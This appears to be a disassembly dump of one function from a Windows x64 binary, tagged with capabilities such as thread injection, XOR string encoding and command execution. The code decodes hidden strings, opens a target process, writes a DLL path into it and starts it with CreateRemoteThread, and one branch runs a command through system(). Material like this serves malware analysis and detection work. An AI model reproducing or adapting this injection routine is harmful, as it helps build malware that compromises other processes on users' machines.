Function at 0x14004c290
Capabilities:
Create thread
Encode data using xor
Execute command
Inject thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x110]
sub rsp, 0x210
mov rax, qword [0x140067010]
xor rax, rsp
mov qword [rbp + 0x100], rax
mov rbx, r8
mov rdi, rdx
mov r14, rcx
mov dword [rsp + 0x40], 0xeff4fcf0
mov dword [rsp + 0x44], 0xfdc1f4fd
mov dword [rsp + 0x48], 0xcbc1d5c9
mov word [rsp + 0x4c], 0x100
xor r12d, r12d
mov ecx, r12d
lea eax, [rcx - 0x68]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0xc
jb 0x14004c2f0
mov byte [rsp + 0x4d], r12b
lea r8, [rsp + 0x40]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [rsp + 0x40], 0xd7d2c4
mov byte [rsp + 0x44], 1
mov rcx, r12
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx - 0x4e]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 3
jb 0x14004c330
mov byte [rsp + 0x44], r12b
mov rax, rbx
lea r8, [rsp + 0x40]
sub r8, rbx
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14004c363
inc rax
test ecx, ecx
jne 0x14004c350
mov rsi, 0xffffffffffffffff
mov rcx, r12
test edx, edx
jne 0x14004c58a
movdqa xmm0, xmmword [0x14005c620]
movdqu xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x60], 0x100
nop word [rax + rax]
lea eax, [rcx - 0x4e]
xor byte [rsp + rcx + 0x50], al
inc rcx
cmp rcx, 0x10
jb 0x14004c390
mov byte [rsp + 0x61], r12b
mov qword [rbp - 0x78], r12
mov qword [rbp - 0x68], r12
mov qword [rbp - 0x60], 0xf
mov byte [rbp - 0x78], r12b
lea rax, [rsp + 0x50]
mov r8, rsi
inc r8
cmp byte [rax + r8], r12b
jne 0x14004c3c1
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x78]
call fcn.1400506b0
nop
mov rcx, qword [0x140069660]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
mov rdx, qword [rbp - 0x68]
cmp rax, rdx
jb 0x14004c914
lea r9, [0x140069650]
cmp qword [0x140069668], 0x10
cmovae r9, qword [0x140069650]
lea rax, [rbp - 0x78]
cmp qword [rbp - 0x60], 0x10
cmovae rax, qword [rbp - 0x78]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 0x30]
call fcn.140051af0
nop
lea rdx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae rdx, qword [rbp - 0x30]
mov r8, qword [rbp - 0x20]
add r8, rdx
lea rdx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae rdx, qword [rbp - 0x30]
mov rax, r12
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x40], r12
mov r9d, 0xf
mov qword [rbp - 0x38], r9
cmp rdx, r8
je 0x14004c489
sub r8, rdx
lea rcx, [rbp - 0x50]
call fcn.1400506b0
mov r9, qword [rbp - 0x38]
mov rax, qword [rbp - 0x50]
lea rcx, [rbp - 0x50]
cmp r9, 0x10
cmovae rcx, rax
xor r9d, r9d
lea r8, [rbp - 0x10]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x14004c4e5
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004c4e0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004c4e0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140052b18
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x14004c533
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004c52e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004c52e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140052b18
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x14004c6ac
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004c580
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004c580
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140052b18
jmp 0x14004c6ac
mov dword [rsp + 0x40], 0x86d7d2c4
mov word [rsp + 0x44], 0x100
nop dword [rax]
lea eax, [rcx - 0x4e]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 4
jb 0x14004c5a0
mov byte [rsp + 0x45], r12b
mov rax, rbx
lea r8, [rsp + 0x40]
sub r8, rbx
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14004c5d3
inc rax
test ecx, ecx
jne 0x14004c5c0
mov rcx, r12
test edx, edx
jne 0x14004c61d
movdqa xmm0, xmmword [0x14005c110]
movdqu xmmword [rbp - 0x78], xmm0
movdqa xmm1, xmmword [0x14005bad0]
movdqu xmmword [rbp - 0x68], xmm1
mov byte [rbp - 0x58], 1
nop dword [rax + rax]
lea eax, [rcx - 0x4e]
xor byte [rbp + rcx - 0x78], al
inc rcx
cmp rcx, 0x1f
jb 0x14004c600
mov byte [rbp - 0x58], r12b
lea rcx, [rbp - 0x78]
jmp 0x14004c69a
mov dword [rsp + 0x40], 0xd4c0d6d0
mov word [rsp + 0x44], 0x100
nop dword [rax]
lea eax, [rcx - 0x4e]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 4
jb 0x14004c630
mov byte [rsp + 0x45], r12b
lea rdx, [rsp + 0x40]
sub rdx, rbx
nop dword [rax]
movzx ecx, byte [rbx]
movzx eax, byte [rbx + rdx]
sub ecx, eax
jne 0x14004c662
inc rbx
test eax, eax
jne 0x14004c650
test ecx, ecx
jne 0x14004c6ac
mov dword [rsp + 0x40], 0x87d087de
mov dword [rsp + 0x44], 0xd5d4d398
mov word [rsp + 0x48], 0x100
mov rcx, r12
lea eax, [rcx - 0x4e]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 8
jb 0x14004c680
mov byte [rsp + 0x49], r12b
lea rcx, [rsp + 0x40]
xor r9d, r9d
lea r8, [rbp - 0x10]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
lea rdx, [rbp - 0x80]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov dword [rsp + 0x50], 0xfffbf6d4
mov dword [rsp + 0x54], 0xedfcf4d0
mov dword [rsp + 0x58], 0xe2dbd3c1
mov word [rsp + 0x5c], 0x100
mov rcx, r12
nop word [rax + rax]
lea eax, [rcx - 0x68]
xor byte [rsp + rcx + 0x50], al
inc rcx
cmp rcx, 0xc
jb 0x14004c6f0
mov byte [rsp + 0x5d], 0
mov dword [rsp + 0x70], 0xf5e8fcf3
mov dword [rsp + 0x74], 0xadadf1f9
mov dword [rsp + 0x78], 0xcfcec58e
mov word [rsp + 0x7c], 0x100
mov rcx, r12
nop word [rax + rax]
lea eax, [rcx - 0x68]
xor byte [rsp + rcx + 0x70], al
inc rcx
cmp rcx, 0xc
jb 0x14004c730
mov byte [rsp + 0x7d], 0
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rsp + 0x50]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
mov r8d, dword [rbp - 0x80]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
lea rax, [rbp - 0x10]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004c780
inc r8
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
lea rax, [rbp - 0x10]
nop dword [rax]
lea rsi, [rsi + 1]
cmp byte [rax + rsi], 0
jne 0x14004c7b0
lea r9, [rsi + 1]
mov qword [rsp + 0x20], r12
lea r8, [rbp - 0x10]
mov rdx, r14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rsp + 0x40], 0x8085ca
mov byte [rsp + 0x44], 1
mov rcx, r12
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x4e]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 3
jb 0x14004c7f0
mov byte [rsp + 0x44], 0
mov rax, rdi
lea r8, [rsp + 0x40]
sub r8, rdi
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14004c823
inc rax
test ecx, ecx
jne 0x14004c810
test edx, edx
jne 0x14004c82f
mov r9, r15
jmp 0x14004c8c3
mov dword [rsp + 0x40], 0x828bca
mov byte [rsp + 0x44], 1
mov rcx, r12
nop
lea eax, [rcx - 0x4e]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 3
jb 0x14004c840
mov byte [rsp + 0x44], 0
lea rdx, [rsp + 0x40]
sub rdx, rdi
nop dword [rax]
movzx ecx, byte [rdi]
movzx eax, byte [rdi + rdx]
sub ecx, eax
jne 0x14004c872
inc rdi
test eax, eax
jne 0x14004c860
test ecx, ecx
jne 0x14004c8e0
movdqa xmm0, xmmword [0x14005c110]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0xebf2fbba
mov dword [rsp + 0x64], 0xa6aea4
mov byte [rsp + 0x68], 1
mov rcx, r12
nop dword [rax]
lea eax, [rcx - 0x4e]
xor byte [rsp + rcx + 0x50], al
inc rcx
cmp rcx, 0x17
jb 0x14004c8a0
mov byte [rsp + 0x68], 0
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movsxd r9, eax
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r14
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x100]
xor rcx, rsp
call fcn.140052570
lea r11, [rsp + 0x210]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
call fcn.1400457e0
nop
int3